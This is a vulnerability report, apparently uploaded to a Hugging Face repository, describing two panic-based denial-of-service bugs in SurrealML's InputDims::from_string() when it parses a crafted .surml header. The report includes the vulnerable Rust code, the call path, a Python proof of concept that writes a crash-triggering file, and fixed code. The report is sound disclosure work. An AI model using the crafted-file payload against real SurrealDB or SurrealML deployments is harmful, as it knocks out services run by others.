Upload 01-surrealml-input-dims-panic.md with huggingface_hub
Browse files- 01-surrealml-input-dims-panic.md +117 -0
01-surrealml-input-dims-panic.md
ADDED
|
@@ -0,0 +1,117 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
# Multiple Panics (DoS) in InputDims::from_string() via Crafted .surml Header
|
| 2 |
+
|
| 3 |
+
## Target
|
| 4 |
+
- **Repository**: https://github.com/surrealdb/surrealml
|
| 5 |
+
- **Component**: `modules/core/src/storage/header/input_dims.rs`
|
| 6 |
+
- **Affected function**: `InputDims::from_string()`
|
| 7 |
+
|
| 8 |
+
## Vulnerability Type
|
| 9 |
+
- **CWE-248**: Uncaught Exception (Panic on untrusted input)
|
| 10 |
+
- **CWE-129**: Improper Validation of Array Index
|
| 11 |
+
- **Severity**: HIGH (DoS -- process crash on loading a crafted .surml file)
|
| 12 |
+
|
| 13 |
+
## Description
|
| 14 |
+
|
| 15 |
+
The `InputDims::from_string()` function, which is called during `.surml` file parsing, contains two separate panic-inducing bugs when processing attacker-controlled header data:
|
| 16 |
+
|
| 17 |
+
1. **`.unwrap()` on `parse::<i32>()`** (line 34): If the input dimensions field contains non-numeric data (e.g., `"abc,def"`), the `parse::<i32>().unwrap()` call will panic.
|
| 18 |
+
|
| 19 |
+
2. **Out-of-bounds array index** (lines 35-36): The code accesses `dims[0]` and `dims[1]` without checking that the parsed vector actually has at least 2 elements. If the attacker provides a single value (e.g., `"42"` with no comma), `dims[1]` causes an index-out-of-bounds panic.
|
| 20 |
+
|
| 21 |
+
## Vulnerable Code
|
| 22 |
+
|
| 23 |
+
**File**: `/work/surrealml/modules/core/src/storage/header/input_dims.rs`, lines 29-38
|
| 24 |
+
|
| 25 |
+
```rust
|
| 26 |
+
pub fn from_string(data: String) -> InputDims {
|
| 27 |
+
if data == *"" {
|
| 28 |
+
return InputDims::fresh();
|
| 29 |
+
}
|
| 30 |
+
let dims: Vec<&str> = data.split(",").collect();
|
| 31 |
+
let dims: Vec<i32> = dims.iter().map(|x| x.parse::<i32>().unwrap()).collect(); // <-- PANIC 1: unwrap on parse
|
| 32 |
+
InputDims {
|
| 33 |
+
dims: [dims[0], dims[1]], // <-- PANIC 2: out-of-bounds if len < 2
|
| 34 |
+
}
|
| 35 |
+
}
|
| 36 |
+
```
|
| 37 |
+
|
| 38 |
+
## Attack Vector
|
| 39 |
+
|
| 40 |
+
The `.surml` file format stores a text-based header whose length is specified in the first 4 bytes. The header is delimited by `//=>` and the input dimensions field is the 10th segment (index 9). An attacker crafts a `.surml` file with a malicious input_dims field:
|
| 41 |
+
|
| 42 |
+
### Trigger via parse failure:
|
| 43 |
+
Set the input_dims header segment to `"abc,def"` -- the `parse::<i32>().unwrap()` will panic.
|
| 44 |
+
|
| 45 |
+
### Trigger via index out-of-bounds:
|
| 46 |
+
Set the input_dims header segment to `"42"` (single value, no comma) -- `dims[1]` panics on index access.
|
| 47 |
+
|
| 48 |
+
### Exploitation path:
|
| 49 |
+
```
|
| 50 |
+
SurMlFile::from_file("malicious.surml")
|
| 51 |
+
-> Header::from_bytes(header_buffer)
|
| 52 |
+
-> InputDims::from_string(buffer.get(9).unwrap_or(&"").to_string())
|
| 53 |
+
-> PANIC
|
| 54 |
+
```
|
| 55 |
+
|
| 56 |
+
The function is also reachable via `SurMlFile::from_bytes()`, meaning any code that loads a `.surml` from network bytes (e.g., SurrealDB database import) is also affected.
|
| 57 |
+
|
| 58 |
+
## Proof of Concept
|
| 59 |
+
|
| 60 |
+
A minimal malicious .surml file can be constructed as follows:
|
| 61 |
+
|
| 62 |
+
```python
|
| 63 |
+
import struct
|
| 64 |
+
|
| 65 |
+
# Craft a header with a malicious input_dims field
|
| 66 |
+
# Header format: //=>[keys]//=>[normalisers]//=>[output]//=>[name]//=>[version]//=>[description]//=>[engine]//=>[origin]//=>[input_dims]//=>
|
| 67 |
+
header = b"//=>//=>//=>//=>//=>//=>//=>//=>//=>NOTANUMBER//=>"
|
| 68 |
+
# Alternatively for index OOB: header = b"//=>//=>//=>//=>//=>//=>//=>//=>//=>42//=>"
|
| 69 |
+
|
| 70 |
+
header_len = struct.pack(">I", len(header))
|
| 71 |
+
fake_model = b"\x00" * 10 # dummy model bytes
|
| 72 |
+
|
| 73 |
+
malicious_surml = header_len + header + fake_model
|
| 74 |
+
|
| 75 |
+
with open("crash.surml", "wb") as f:
|
| 76 |
+
f.write(malicious_surml)
|
| 77 |
+
|
| 78 |
+
# Loading this file in Rust will panic:
|
| 79 |
+
# SurMlFile::from_file("crash.surml") -> PANIC
|
| 80 |
+
# SurMlFile::from_bytes(malicious_surml) -> PANIC
|
| 81 |
+
```
|
| 82 |
+
|
| 83 |
+
## Impact
|
| 84 |
+
|
| 85 |
+
- **Denial of Service**: Any SurrealDB instance or application using SurrealML that loads an attacker-supplied `.surml` file will crash (process abort due to panic).
|
| 86 |
+
- **Availability**: Complete loss of availability if the `.surml` file is loaded as part of a server process (e.g., SurrealDB ML model import).
|
| 87 |
+
- **No user interaction**: The crash occurs automatically during file parsing.
|
| 88 |
+
|
| 89 |
+
## Remediation
|
| 90 |
+
|
| 91 |
+
Replace the panicking code with proper error handling:
|
| 92 |
+
|
| 93 |
+
```rust
|
| 94 |
+
pub fn from_string(data: String) -> Result<InputDims, SurrealError> {
|
| 95 |
+
if data.is_empty() {
|
| 96 |
+
return Ok(InputDims::fresh());
|
| 97 |
+
}
|
| 98 |
+
let dims: Vec<&str> = data.split(",").collect();
|
| 99 |
+
if dims.len() < 2 {
|
| 100 |
+
return Err(SurrealError::new(
|
| 101 |
+
"InputDims requires exactly 2 comma-separated values".to_string(),
|
| 102 |
+
SurrealErrorStatus::BadRequest,
|
| 103 |
+
));
|
| 104 |
+
}
|
| 105 |
+
let dim0 = dims[0].parse::<i32>().map_err(|e| SurrealError::new(
|
| 106 |
+
format!("Failed to parse input dim 0: {}", e),
|
| 107 |
+
SurrealErrorStatus::BadRequest,
|
| 108 |
+
))?;
|
| 109 |
+
let dim1 = dims[1].parse::<i32>().map_err(|e| SurrealError::new(
|
| 110 |
+
format!("Failed to parse input dim 1: {}", e),
|
| 111 |
+
SurrealErrorStatus::BadRequest,
|
| 112 |
+
))?;
|
| 113 |
+
Ok(InputDims { dims: [dim0, dim1] })
|
| 114 |
+
}
|
| 115 |
+
```
|
| 116 |
+
|
| 117 |
+
Note: The `Header::from_bytes()` function at line 190 also needs to be updated to propagate this error (currently calls `InputDims::from_string` which returns `InputDims` not `Result`).
|